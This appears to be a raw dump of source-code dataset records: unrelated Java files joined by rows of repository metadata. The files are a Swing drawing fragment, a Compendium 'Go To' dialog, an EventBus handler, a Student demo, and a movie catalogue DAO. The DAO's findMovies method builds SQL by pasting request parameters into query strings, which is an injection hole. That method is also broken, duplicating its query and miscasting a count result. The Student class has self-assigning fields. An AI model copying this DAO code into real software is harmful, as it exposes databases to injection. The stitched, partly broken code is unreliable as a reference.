if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width + i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start + w + screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start - 2 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - 1 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start -1 - w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
//draw bottom right
start = xPos + r + (yPos+r)*screen_width;
for(int i = 0; i < w + 2; i++) {
index = start + screen_width + 2 - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width - i;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < 3; i++) {
index = start - w + screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w + 1; i++) {
index = start + 2 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
for(int i = 0; i < w; i++) {
index = start + 1 - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = lightGray;
}
for(int i = 0; i < w; i++) {
index = start - screen_width - i*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = darkGray;
}
index = start +1 - w*screen_width;
if(index > 0 && index < screen_size && !pixelInsideSideArea(index))
screen[index] = 0x0;
}
}
| 19,055 | 0.606245 | 0.576122 | 652 | 28.22546 | 23.686535 | 160 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 3.789877 | false | false | 9 |
c50beb02f306ad08b3845040f4c8b02d7dbe0286 | 31,026,843,781,635 | 7aa1dbcfdc52fbb6dba6ee32836b457aba911f0f | /System/src/com/compendium/ui/dialogs/UIGotoDialog.java | fa2bf666a310dc2b660ce8d4160af8075c9b44e2 | [] | no_license | SUPRAPROOFS/CompendiumCognexus | https://github.com/SUPRAPROOFS/CompendiumCognexus | 53974405a14f96a2084c3c4249cd923029aa6e29 | 2296b3778730fc28e4b2041225488c1a1a13288b | refs/heads/master | 2021-05-28T11:11:27.435000 | 2014-12-15T08:25:19 | 2014-12-15T08:25:19 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /********************************************************************************
* *
* (c) Copyright 2009 Verizon Communications USA and The Open University UK *
* *
* This software is freely distributed in accordance with *
* the GNU Lesser General Public (LGPL) license, version 3 or later *
* as published by the Free Software Foundation. *
* For details see LGPL: http://www.fsf.org/licensing/licenses/lgpl.html *
* and GPL: http://www.fsf.org/licensing/licenses/gpl-3.0.html *
* *
* This software is provided by the copyright holders and contributors "as is" *
* and any express or implied warranties, including, but not limited to, the *
* implied warranties of merchantability and fitness for a particular purpose *
* are disclaimed. In no event shall the copyright owner or contributors be *
* liable for any direct, indirect, incidental, special, exemplary, or *
* consequential damages (including, but not limited to, procurement of *
* substitute goods or services; loss of use, data, or profits; or business *
* interruption) however caused and on any theory of liability, whether in *
* contract, strict liability, or tort (including negligence or otherwise) *
* arising in any way out of the use of this software, even if advised of the *
* possibility of such damage. *
* *
********************************************************************************/
package com.compendium.ui.dialogs;
import java.awt.*;
import java.awt.event.*;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import com.compendium.ProjectCompendium;
import com.compendium.ui.*;
/**
* The dialog window which allows to jump to a node by internal ID.
*/
public class UIGotoDialog extends UIDialog implements ActionListener {
/** The button to open a node by ID.*/
private UIButton gotoButton = null;
/** The button to close this dialog.*/
private UIButton closeButton = null;
/** The button to open the relevant help.*/
private UIButton helpButton = null;
/** The mainpanel which contains dialog's controls.*/
private JPanel mainpanel = null;
/** The entry box for internal ID. */
private JTextField idField;
/**
* Constructor.
*
* @param parent, the parent frame for this dialog.
*/
public UIGotoDialog(JFrame parent) {
super(parent, true);
setResizable(false);
setTitle("Go To internal ID");
getContentPane().setLayout(new BorderLayout());
drawDialog();
pack();
}
/**
* Draw the contents of this dialog.
*/
private void drawDialog() {
Font normal = new Font("Dialog", Font.PLAIN, 12);
Font bold = new Font("Dialog", Font.BOLD, 12);
int y = 0;
mainpanel = new JPanel();
mainpanel.setBorder(new EmptyBorder(10,10,10,10));
GridBagLayout gb = new GridBagLayout();
GridBagConstraints gc = new GridBagConstraints();
mainpanel.setLayout(gb);
gc.insets = new Insets(5,5,5,5);
gc.anchor = GridBagConstraints.WEST;
JLabel idLabel = new JLabel("Paste intenal ID here:");
idLabel.setFont(normal);
gc.gridy = 0;
gc.gridwidth=1;
gb.setConstraints(idLabel, gc);
mainpanel.add(idLabel);
idField = new JTextField("comp://");
idField.setColumns(37);
idField.setMargin(new Insets(2,2,2,2));
gc.gridy = y;
gc.gridwidth=1;
y++;
gb.setConstraints(idField, gc);
mainpanel.add(idField);
JLabel exampleLabel = new JLabel("example:");
exampleLabel.setFont(bold);
gc.gridy = y;
gc.gridwidth=1;
gc.anchor = GridBagConstraints.EAST;
gb.setConstraints(exampleLabel, gc);
mainpanel.add(exampleLabel);
JLabel compLabel = new JLabel(
"comp://1921681791201401412187/19216811001224649511606");
compLabel.setFont(normal);
gc.gridy = y;
gc.gridwidth=1;
gc.anchor = GridBagConstraints.WEST;
gb.setConstraints(compLabel, gc);
mainpanel.add(compLabel);
y++;
UIButtonPanel oButtonPanel = new UIButtonPanel();
gotoButton = new UIButton("Go To...");
gotoButton.setMnemonic(KeyEvent.VK_G);
gotoButton.addActionListener(this);
getRootPane().setDefaultButton(gotoButton);
oButtonPanel.addButton(gotoButton);
closeButton = new UIButton("Close");
closeButton.setMnemonic(KeyEvent.VK_C);
closeButton.addActionListener(this);
oButtonPanel.addButton(closeButton);
helpButton = new UIButton("Help");
helpButton.setMnemonic(KeyEvent.VK_H);
ProjectCompendium.APP.mainHB.enableHelpOnButton(helpButton, "menus.map", ProjectCompendium.APP.mainHS);
oButtonPanel.addHelpButton(helpButton);
getContentPane().add(mainpanel, BorderLayout.CENTER);
getContentPane().add(oButtonPanel, BorderLayout.SOUTH);
}
/**
* Handle dialog's buttons.
*
* @param evt, the associated ActionEvent.
*/
@SuppressWarnings("unchecked")
public void actionPerformed(ActionEvent evt) {
Object source = evt.getSource();
if(source.equals(gotoButton)) {
String[] parsedId = parseInternalId(idField.getText());
if (parsedId != null) {
UIUtilities.jumpToNode(parsedId[0], parsedId[1], new Vector());
onCancel();
} else {
ProjectCompendium.APP.displayMessage(
"Please enter valid ID.",
"Warning");
SwingUtilities.invokeLater(new FocusGrabber(idField));
}
}
else if(source.equals(closeButton)) {
onCancel();
}
}
private static String[] parseInternalId(String internalId) {
String[] result = null;
String expression = "^comp://(\\d+)/(\\d+)$";
Pattern pattern = Pattern.compile(expression, Pattern.CASE_INSENSITIVE);
Matcher matcher = pattern.matcher(internalId);
if (matcher.find()) {
result = new String[] {matcher.group(1), matcher.group(2)};
}
return result;
}
}
| UTF-8 | Java | 6,663 | java | UIGotoDialog.java | Java | [] | null | [] | /********************************************************************************
* *
* (c) Copyright 2009 Verizon Communications USA and The Open University UK *
* *
* This software is freely distributed in accordance with *
* the GNU Lesser General Public (LGPL) license, version 3 or later *
* as published by the Free Software Foundation. *
* For details see LGPL: http://www.fsf.org/licensing/licenses/lgpl.html *
* and GPL: http://www.fsf.org/licensing/licenses/gpl-3.0.html *
* *
* This software is provided by the copyright holders and contributors "as is" *
* and any express or implied warranties, including, but not limited to, the *
* implied warranties of merchantability and fitness for a particular purpose *
* are disclaimed. In no event shall the copyright owner or contributors be *
* liable for any direct, indirect, incidental, special, exemplary, or *
* consequential damages (including, but not limited to, procurement of *
* substitute goods or services; loss of use, data, or profits; or business *
* interruption) however caused and on any theory of liability, whether in *
* contract, strict liability, or tort (including negligence or otherwise) *
* arising in any way out of the use of this software, even if advised of the *
* possibility of such damage. *
* *
********************************************************************************/
package com.compendium.ui.dialogs;
import java.awt.*;
import java.awt.event.*;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import com.compendium.ProjectCompendium;
import com.compendium.ui.*;
/**
* The dialog window which allows to jump to a node by internal ID.
*/
public class UIGotoDialog extends UIDialog implements ActionListener {
/** The button to open a node by ID.*/
private UIButton gotoButton = null;
/** The button to close this dialog.*/
private UIButton closeButton = null;
/** The button to open the relevant help.*/
private UIButton helpButton = null;
/** The mainpanel which contains dialog's controls.*/
private JPanel mainpanel = null;
/** The entry box for internal ID. */
private JTextField idField;
/**
* Constructor.
*
* @param parent, the parent frame for this dialog.
*/
public UIGotoDialog(JFrame parent) {
super(parent, true);
setResizable(false);
setTitle("Go To internal ID");
getContentPane().setLayout(new BorderLayout());
drawDialog();
pack();
}
/**
* Draw the contents of this dialog.
*/
private void drawDialog() {
Font normal = new Font("Dialog", Font.PLAIN, 12);
Font bold = new Font("Dialog", Font.BOLD, 12);
int y = 0;
mainpanel = new JPanel();
mainpanel.setBorder(new EmptyBorder(10,10,10,10));
GridBagLayout gb = new GridBagLayout();
GridBagConstraints gc = new GridBagConstraints();
mainpanel.setLayout(gb);
gc.insets = new Insets(5,5,5,5);
gc.anchor = GridBagConstraints.WEST;
JLabel idLabel = new JLabel("Paste intenal ID here:");
idLabel.setFont(normal);
gc.gridy = 0;
gc.gridwidth=1;
gb.setConstraints(idLabel, gc);
mainpanel.add(idLabel);
idField = new JTextField("comp://");
idField.setColumns(37);
idField.setMargin(new Insets(2,2,2,2));
gc.gridy = y;
gc.gridwidth=1;
y++;
gb.setConstraints(idField, gc);
mainpanel.add(idField);
JLabel exampleLabel = new JLabel("example:");
exampleLabel.setFont(bold);
gc.gridy = y;
gc.gridwidth=1;
gc.anchor = GridBagConstraints.EAST;
gb.setConstraints(exampleLabel, gc);
mainpanel.add(exampleLabel);
JLabel compLabel = new JLabel(
"comp://1921681791201401412187/19216811001224649511606");
compLabel.setFont(normal);
gc.gridy = y;
gc.gridwidth=1;
gc.anchor = GridBagConstraints.WEST;
gb.setConstraints(compLabel, gc);
mainpanel.add(compLabel);
y++;
UIButtonPanel oButtonPanel = new UIButtonPanel();
gotoButton = new UIButton("Go To...");
gotoButton.setMnemonic(KeyEvent.VK_G);
gotoButton.addActionListener(this);
getRootPane().setDefaultButton(gotoButton);
oButtonPanel.addButton(gotoButton);
closeButton = new UIButton("Close");
closeButton.setMnemonic(KeyEvent.VK_C);
closeButton.addActionListener(this);
oButtonPanel.addButton(closeButton);
helpButton = new UIButton("Help");
helpButton.setMnemonic(KeyEvent.VK_H);
ProjectCompendium.APP.mainHB.enableHelpOnButton(helpButton, "menus.map", ProjectCompendium.APP.mainHS);
oButtonPanel.addHelpButton(helpButton);
getContentPane().add(mainpanel, BorderLayout.CENTER);
getContentPane().add(oButtonPanel, BorderLayout.SOUTH);
}
/**
* Handle dialog's buttons.
*
* @param evt, the associated ActionEvent.
*/
@SuppressWarnings("unchecked")
public void actionPerformed(ActionEvent evt) {
Object source = evt.getSource();
if(source.equals(gotoButton)) {
String[] parsedId = parseInternalId(idField.getText());
if (parsedId != null) {
UIUtilities.jumpToNode(parsedId[0], parsedId[1], new Vector());
onCancel();
} else {
ProjectCompendium.APP.displayMessage(
"Please enter valid ID.",
"Warning");
SwingUtilities.invokeLater(new FocusGrabber(idField));
}
}
else if(source.equals(closeButton)) {
onCancel();
}
}
private static String[] parseInternalId(String internalId) {
String[] result = null;
String expression = "^comp://(\\d+)/(\\d+)$";
Pattern pattern = Pattern.compile(expression, Pattern.CASE_INSENSITIVE);
Matcher matcher = pattern.matcher(internalId);
if (matcher.find()) {
result = new String[] {matcher.group(1), matcher.group(2)};
}
return result;
}
}
| 6,663 | 0.588774 | 0.576167 | 186 | 33.822582 | 26.712643 | 105 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.467742 | false | false | 9 |
5ee39d884700922a77aeef1c2459daf163de47bb | 26,371,099,237,541 | 1c44160ce3d61744b9a5238444133a11406d0d00 | /app/src/main/java/com/jackchan/eventbus/handler/DefaultEventHandler.java | 8b94d5be1f1cf4df2051707b803f28e8a156d01f | [
"Apache-2.0"
] | permissive | JackChan1999/Eventbus | https://github.com/JackChan1999/Eventbus | c9ae1685ece58864335c51e3a16d2a1725b6e6ee | f99051ca1306ef079c747b104ee6af07d994abec | refs/heads/master | 2021-01-20T01:34:27.505000 | 2017-04-25T01:04:06 | 2017-04-25T01:04:06 | 89,300,487 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* Copyright (C) 2016 JackChan <jackychan2040@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.jackchan.eventbus.handler;
import com.jackchan.eventbus.Subscription;
import java.lang.reflect.InvocationTargetException;
/**
* ============================================================
* Copyright:JackChan和他的朋友们有限公司版权所有 (c) 2017
* Author: JackChan
* Email: 815712739@qq.com
* GitHub: https://github.com/JackChan1999
* GitBook: https://www.gitbook.com/@alleniverson
* 博客: http://blog.csdn.net/axi295309066
* 微博: AndroidDeveloper
* <p>
* Project_Name:EventBus
* Package_Name:com.jackchan.eventbus
* Version:1.0
* time:2016/4/25 0:46
* des :事件在哪个线程post,事件的接收就在哪个线程
* gitVersion:2.12.0.windows.1
* updateAuthor:JackChan
* updateDate:2016/4/25 0:46
* updateDes:${TODO}
* ============================================================
*/
public class DefaultEventHandler implements EventHandler {
/**
* handle the event
*
* @param subscription
* @param event
*/
public void handleEvent(Subscription subscription, Object event) {
if (subscription == null
|| subscription.subscriber.get() == null) {
return;
}
try {
// 执行
subscription.targetMethod.invoke(subscription.subscriber.get(), event);
} catch (IllegalArgumentException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
| UTF-8 | Java | 2,239 | java | DefaultEventHandler.java | Java | [
{
"context": "/*\n * Copyright (C) 2016 JackChan <jackychan2040@gmail.com>\n *\n * Licensed under th",
"end": 33,
"score": 0.99915611743927,
"start": 25,
"tag": "NAME",
"value": "JackChan"
},
{
"context": "/*\n * Copyright (C) 2016 JackChan <jackychan2040@gmail.com>\n *\n * Licensed under the Apache License, Version",
"end": 58,
"score": 0.9999227523803711,
"start": 35,
"tag": "EMAIL",
"value": "jackychan2040@gmail.com"
},
{
"context": "====================================\n * Copyright:JackChan和他的朋友们有限公司版权所有 (c) 2017\n * Author: JackChan\n * E",
"end": 850,
"score": 0.996405839920044,
"start": 842,
"tag": "NAME",
"value": "JackChan"
},
{
"context": "right:JackChan和他的朋友们有限公司版权所有 (c) 2017\n * Author: JackChan\n * Email: 815712739@qq.com\n * GitHub: https:",
"end": 895,
"score": 0.9788181781768799,
"start": 887,
"tag": "NAME",
"value": "JackChan"
},
{
"context": "司版权所有 (c) 2017\n * Author: JackChan\n * Email: 815712739@qq.com\n * GitHub: https://github.com/JackChan1999\n * G",
"end": 925,
"score": 0.9999104738235474,
"start": 909,
"tag": "EMAIL",
"value": "815712739@qq.com"
},
{
"context": " 815712739@qq.com\n * GitHub: https://github.com/JackChan1999\n * GitBook: https://www.gitbook.com/@alleniverso",
"end": 970,
"score": 0.9996207356452942,
"start": 958,
"tag": "USERNAME",
"value": "JackChan1999"
},
{
"context": "/JackChan1999\n * GitBook: https://www.gitbook.com/@alleniverson\n * 博客: http://blog.csdn.net/axi295309066\n * 微",
"end": 1021,
"score": 0.9997060298919678,
"start": 1008,
"tag": "USERNAME",
"value": "@alleniverson"
},
{
"context": "线程\n * gitVersion:2.12.0.windows.1\n * updateAuthor:JackChan\n * updateDate:2016/4/25 0:46\n * updateDes:${TODO}",
"end": 1290,
"score": 0.9740856289863586,
"start": 1282,
"tag": "USERNAME",
"value": "JackChan"
}
] | null | [] | /*
* Copyright (C) 2016 JackChan <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.jackchan.eventbus.handler;
import com.jackchan.eventbus.Subscription;
import java.lang.reflect.InvocationTargetException;
/**
* ============================================================
* Copyright:JackChan和他的朋友们有限公司版权所有 (c) 2017
* Author: JackChan
* Email: <EMAIL>
* GitHub: https://github.com/JackChan1999
* GitBook: https://www.gitbook.com/@alleniverson
* 博客: http://blog.csdn.net/axi295309066
* 微博: AndroidDeveloper
* <p>
* Project_Name:EventBus
* Package_Name:com.jackchan.eventbus
* Version:1.0
* time:2016/4/25 0:46
* des :事件在哪个线程post,事件的接收就在哪个线程
* gitVersion:2.12.0.windows.1
* updateAuthor:JackChan
* updateDate:2016/4/25 0:46
* updateDes:${TODO}
* ============================================================
*/
public class DefaultEventHandler implements EventHandler {
/**
* handle the event
*
* @param subscription
* @param event
*/
public void handleEvent(Subscription subscription, Object event) {
if (subscription == null
|| subscription.subscriber.get() == null) {
return;
}
try {
// 执行
subscription.targetMethod.invoke(subscription.subscriber.get(), event);
} catch (IllegalArgumentException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
| 2,214 | 0.627405 | 0.596903 | 69 | 29.884058 | 23.394869 | 83 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.26087 | false | false | 9 |
89fc9a7b12a31809f86b2345a95c36c756d7a2b7 | 23,407,571,806,888 | 29195eced9d884aeb7c9012a12c01f72299bcf9a | /StudentDemo.java | f5ede67e50f665adddec23462a922eafd40506ae | [] | no_license | tejasgopalrane/Core-Java-Assignment-6 | https://github.com/tejasgopalrane/Core-Java-Assignment-6 | a2036de45a4df6205d034fba40143e259452af22 | d34e5c4e547ce512a2322a0ce7f640b09119f9be | refs/heads/main | 2023-01-09T21:12:17.890000 | 2020-11-10T06:37:15 | 2020-11-10T06:37:15 | 311,568,198 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import java.util.Scanner;
class Student {
int rollno;
String name;
Student()
{
this.rollno=rollno;
this.name=name;
}
void setdata()
{ Scanner sc=new Scanner(System.in);
System.out.println ("Enter roll no. of Student");
rollno = sc.nextInt();
System.out.println ("Enter Name of Student");
name = sc.nextLine();
}
void showdata()
{
System.out.println ("Roll No. = "+rollno);
System.out.println ("Name = "+name);
}
}
public class StudentDemo {
public static void main(String[] args) {
Student s = new Student();
s.setdata();
s.showdata();
}
}
| UTF-8 | Java | 641 | java | StudentDemo.java | Java | [
{
"context": "dent()\r\n\t {\r\n\t\t this.rollno=rollno;\r\n\t\t this.name=name;\r\n\t }\r\n\tvoid setdata()\r\n\t{ Scanner sc=new Scan",
"end": 134,
"score": 0.9722005128860474,
"start": 130,
"tag": "NAME",
"value": "name"
}
] | null | [] | import java.util.Scanner;
class Student {
int rollno;
String name;
Student()
{
this.rollno=rollno;
this.name=name;
}
void setdata()
{ Scanner sc=new Scanner(System.in);
System.out.println ("Enter roll no. of Student");
rollno = sc.nextInt();
System.out.println ("Enter Name of Student");
name = sc.nextLine();
}
void showdata()
{
System.out.println ("Roll No. = "+rollno);
System.out.println ("Name = "+name);
}
}
public class StudentDemo {
public static void main(String[] args) {
Student s = new Student();
s.setdata();
s.showdata();
}
}
| 641 | 0.585023 | 0.585023 | 34 | 16.852942 | 15.694009 | 51 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.529412 | false | false | 9 |
d8e00cbab0083dd15932e757901d9b07875ec17c | 35,527,969,486,114 | d1c2ae62eb4f919e8c734f42b580ca11359a7c5f | /server/src/main/java/com/changhong/system/repository/MovieDaoImpl.java | edd906d8138dca099c045cf7a55e5afa33949597 | [] | no_license | kunkun39/BJ_GH | https://github.com/kunkun39/BJ_GH | 1e7b054e02eaee3c54ad5734289b6542d4e34a04 | 5e58b9982e01e56f3bb270bb1a7f6991b098a9bc | refs/heads/master | 2020-04-05T22:44:41.622000 | 2015-03-16T06:14:01 | 2015-03-16T06:14:01 | 26,847,624 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.changhong.system.repository;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.changhong.common.repository.HibernateEntityObjectDao;
import com.changhong.common.utils.JodaUtils;
import com.changhong.common.utils.PagingUtils;
import com.changhong.system.domain.movie.MovieInfo;
import com.changhong.system.domain.movie.PlayInfo;
import com.changhong.system.domain.movie.Poster;
import com.changhong.system.domain.movietype.TypeEnum;
import org.hibernate.SQLQuery;
import org.hibernate.Session;
import org.joda.time.DateTime;
import org.springframework.stereotype.Repository;
import org.springframework.util.StringUtils;
import java.util.List;
/**
* User: Jack Wang
* Date: 14-11-20
* Time: 上午11:30
*/
@Repository("movieDao")
public class MovieDaoImpl extends HibernateEntityObjectDao implements MovieDao {
public String findIndexRecommend(String page, int size) {
return "";
}
public String findMovieType(TypeEnum type) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
/**
* 返回的结果
*/
JSONObject result = new JSONObject();
JSONArray items = new JSONArray();
/**
* 查询并组装结果
*/
SQLQuery query = null;
List list = null;
if (TypeEnum.TYPE.equals(type)) {
query = session.createSQLQuery("SELECT type_id,type_name,type_sequence,drama_type_id FROM movie_type ORDER BY type_sequence ASC");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
item.put("TypeSequence", values[2]);
item.put("DramaTypeIDs", values[3]);
items.add(item);
}
result.put("Type", items);
} else if (TypeEnum.DatamaType.equals(type)) {
query = session.createSQLQuery("SELECT drama_type_id,drama_type_name,drama_type_sequence FROM movie_drama_type ORDER BY drama_type_sequence ASC");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
item.put("DramaTypeSequence", values[2]);
items.add(item);
}
result.put("DatamaType", items);
} else if (TypeEnum.Area.equals(type)) {
query = session.createSQLQuery("SELECT area_id,area_name,area_group_id FROM movie_area");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
item.put("AreaGroupIDs", values[2]);
items.add(item);
}
result.put("Area", items);
} else if (TypeEnum.AreaGroup.equals(type)) {
query = session.createSQLQuery("SELECT area_group_id,area_group_name FROM movie_area_group");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("AreaGroup", items);
} else if (TypeEnum.Year.equals(type)) {
int year = Integer.valueOf(JodaUtils.toYearString(new DateTime()));
for (int i = 0; i < 10; i++) {
year = year - i;
JSONObject yearItem = new JSONObject();
yearItem.put("ID", year);
items.add(yearItem);
result.put("Year", items);
}
} else if (TypeEnum.ClientType.equals(type)) {
query = session.createSQLQuery("SELECT client_type_id,client_type_name FROM movie_client_type");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("Client", items);
} else if (TypeEnum.ChannelType.equals(type)) {
query = session.createSQLQuery("SELECT channel_type_id,channel_type_name FROM movie_channel_type");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("Channel", items);
} else if (TypeEnum.EventType.equals(type)) {
query = session.createSQLQuery("SELECT event_type_id,event_type_name FROM movie_event_type");
list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ID", values[0]);
item.put("Name", values[1]);
items.add(item);
}
result.put("Event", items);
}
/**
* 返回结果
*/
return result.toJSONString();
}
public String findColumns(String page) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
/**
* 返回的结果
*/
JSONObject result = new JSONObject();
JSONArray items = new JSONArray();
/**
* 查询并组装结果
*/
SQLQuery query = session.createSQLQuery("SELECT column_id,column_parent_id,column_name,column_alias,column_product_id FROM movie_column ORDER BY column_rank ASC");
List list = query.list();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("ColumnID", values[0]);
item.put("ParentID", values[1]);
item.put("ColumnName", values[2]);
item.put("Alias", values[3]);
item.put("ProductID", values[4]);
items.add(item);
}
result.put("Column", items);
return result.toJSONString();
}
public String findMovies(String query) {
Session session = getHibernateTemplate().getSessionFactory().getCurrentSession();
SQLQuery sqlQuery = null;
/**
* 解析JSON
*/
JSONObject queryJSON = JSONObject.parseObject(query);
JSONObject requestParams = queryJSON.getJSONObject("RequestParams");
String columnID = requestParams.getString("ColumnID");
String typeID = requestParams.getString("TypeID");
String dramaTypeID = requestParams.getString("DramaTypeID");
String year = requestParams.getString("Year");
String areaID = requestParams.getString("AreaID");
String areaGroupID = requestParams.getString("AreaGroupID");
String currentPage = requestParams.getString("Page");
/**
* 构造分页
*/
StringBuilder builder = new StringBuilder();
builder.append(" FROM movie_info WHERE");
boolean addAnd = false;
if (StringUtils.hasText(columnID)) {
addAnd = true;
builder.append(" column_id='" + columnID + "'");
}
if (StringUtils.hasText(typeID)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" movie_type_id='" + typeID + "'");
}
if (StringUtils.hasText(dramaTypeID)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" drama_type_id='" + dramaTypeID + "'");
}
if (StringUtils.hasText(year)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" movie_year='" + year + "'");
}
if (StringUtils.hasText(areaID)) {
if (addAnd) {
builder.append(" AND ");
}
addAnd = true;
builder.append(" movie_area_id='" + areaID + "'");
}
sqlQuery = session.createSQLQuery("SELECT count(id)" + builder.toString());
Object[] count = (Object[]) sqlQuery.list().get(0);
int numItems = ((Long) count[0]).intValue();
PagingUtils paging = new PagingUtils(numItems);
paging.setCurrentPage(currentPage);
/**
* 查询MOVIE
*/
builder.append("SELECT movie_id,movie_name,movie_alias_name,movie_runtime,movie_suggestprice" + builder.toString() + " LIMIT " + paging.getStartPosition() + "," + paging.getPageItems());
sqlQuery = session.createSQLQuery(builder.toString());
List list = sqlQuery.list();
/**
* 处理返回的结果
*/
JSONObject result = new JSONObject();
JSONObject total = new JSONObject();
total.put("TotalNumber", numItems);
result.put("ItemNumber", total);
JSONArray items = new JSONArray();
for (Object loop : list) {
JSONObject item = new JSONObject();
Object[] values = (Object[]) loop;
item.put("MovieID", values[0]);
item.put("MovieName", values[1]);
item.put("MovieAliasName", values[2]);
item.put("RunTime", values[3]);
item.put("SuggestPrice", values[4]);
items.add(item);
}
result.put("Items", items);
return result.toJSONString();
}
public String findMovieByID(String movieID) {
MovieInfo movie = (MovieInfo) getHibernateTemplate().find("FROM MovieInfo m WHERE m.movieID = ?", new Object[]{movieID}).get(0);
JSONObject result = new JSONObject();
/**
* 添加MOVIEINFO信息
*/
JSONObject movieInfo = new JSONObject();
movieInfo.put("MovieID", movie.getMovieID());
movieInfo.put("MovieName", movie.getMovieName());
movieInfo.put("MovieAliasName", movie.getMovieAliasName());
movieInfo.put("Area", movie.getArea());
movieInfo.put("AreaID", movie.getAreaID());
movieInfo.put("Type", movie.getType());
movieInfo.put("TypeID", movie.getTypeID());
movieInfo.put("DramaType", movie.getDramaType());
movieInfo.put("DramaTypeID", movie.getDramaTypeID());
movieInfo.put("Year", movie.getYear());
movieInfo.put("Director", movie.getDirector());
movieInfo.put("Actor", movie.getActor());
movieInfo.put("Host", movie.getHost());
movieInfo.put("Station", movie.getStation());
movieInfo.put("Author", movie.getAuthor());
movieInfo.put("RunTime", movie.getRunTime());
movieInfo.put("Count", movie.getRunTime());
movieInfo.put("SummaryShort", movie.getSummaryShort());
movieInfo.put("Commentary", movie.getCommentary());
movieInfo.put("Tag", movie.getTag());
movieInfo.put("SuggestPrice", movie.getSuggestPrice());
movieInfo.put("RecommendClass1", movie.getRecommendClass1());
movieInfo.put("RecommendClass2", movie.getRecommendClass2());
movieInfo.put("RecommendClass3", movie.getRecommendClass3());
movieInfo.put("RecommendClass4", movie.getRecommendClass4());
movieInfo.put("OtherInfoArray", movie.getOtherInfoArray1());
result.put("MovieInfo", movieInfo);
/**
* 添加PlayInfo信息
*/
JSONObject playInfo = new JSONObject();
